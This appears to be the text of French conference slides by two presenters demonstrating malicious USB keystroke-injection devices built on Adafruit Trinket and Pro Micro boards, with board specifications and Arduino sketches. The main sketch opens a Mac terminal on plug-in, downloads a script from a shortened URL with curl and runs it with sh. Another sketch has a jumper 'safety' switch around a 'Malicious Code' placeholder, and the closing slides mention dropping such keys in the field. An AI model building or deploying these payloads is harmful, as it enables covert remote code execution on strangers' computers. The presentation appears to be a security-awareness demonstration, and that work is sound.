@AurelienLOYER
@Nathan_DAMIE
Trinket
Référence : Adafruit Trinket - Mini Microcontroller - 5V Logic
Architecture: AVR
Technologie :8-bit MCU
Tension de fonctionnement : 2.3 - 16 V
Long Larg Haut : 26 x 15.5 x 5
#include <TrinketKeyboard.h>
void setup() {
TrinketKeyboard.begin();
TrinketKeyboard.print("goo.gl/Cfq56P");
delay(100);
pressAndRelease(0x28); // Enter
}
void loop() {}
void pressAndRelease(key) {
TrinketKeyboard.pressKey(0, key);
delay(10);
TrinketKeyboard.pressKey(0,0);
delay(300);
}
Pro Micro
Référence : KOOKYE Pro Micro Module Board ATmega32U4 5V/16MHz
Architecture: AVR
Technologie :8-bit MCU
Tension de fonctionnement : 5 - 8 V
Long Larg Haut : 34 x 15.5 x 5
#include "azertykeyboard.h"
const int upButton = 20;
const int downButton = 18;
...
...
void setup() {
pinMode(upButton, INPUT_PULLUP);
pinMode(downButton, INPUT_PULLUP);
...
Keyboard.begin();
}
void loop() {
if (digitalRead(upButton) == LOW) {
pressAndRelease(KEY_UP_ARROW);
}
if (digitalRead(downButton) == LOW) {
pressAndRelease(KEY_DOWN_ARROW);
}
if (digitalRead(leftButton) == LOW) {
pressAndRelease(KEY_LEFT_ARROW);
}
if (digitalRead(rightButton) == LOW) {
pressAndRelease(KEY_RIGHT_ARROW);
}
delay(300);
}
void pressAndRelease(key) {
Keyboard.press(key);
Keyboard.release(key);
}
#include "Keyboard.h"
void setup(){
// Begining the Keyboard stream
Keyboard.begin();
delay(1000);
Keyboard.press(KEY_LEFT_GUI);
Keyboard.press(' ');
Keyboard.releaseAll();
delay(1000);
Keyboard.print(F("terminal"));
delay(500);
typeKey(KEY_RETURN);
delay(500);
Keyboard.print(F("curl -L goo.gl/Nedj8n -o /tmp/script.sh"));
typeKey(KEY_RETURN);
delay(500);
delay(500);
typeKey(KEY_RETURN);
delay(100);
Keyboard.print(F("sh /tmp/script.sh"));
delay(500);
typeKey(KEY_RETURN);
Keyboard.end();
}
void typeKey(uint8_t key)
{
Keyboard.press(key);
delay(50);
Keyboard.release(key);
}
Éviter de "s'auto-hacker"
#include "Keyboard.h"
int RXLED = 17;
void setup(){
pinMode(RXLED, OUTPUT);
// ACTIVE OR NOT HACK
// PUT JUMPER BETWEEN 7 && 14 TO PREVENT HACK
pinMode(7, OUTPUT);
digitalWrite(7, LOW);
pinMode(14, INPUT_PULLUP);
if(digitalRead(14) == LOW){
blinkNoHack();
}else {
// Malicious Code ;)
}
}
void blinkNoHack()
{
delay(1000);
digitalWrite(RXLED, HIGH);
delay(1000);
digitalWrite(RXLED, LOW);
delay(1000);
digitalWrite(RXLED, HIGH);
delay(1000);
digitalWrite(RXLED, LOW);
}
/* Unused endless loop */
void loop() {}
Tester sur le terrain
Tu n'as pas une clé ?
Perte de confiance 😢
T3kstiil3/drop-that-key
@AurelienLoyer
@Nathan_damie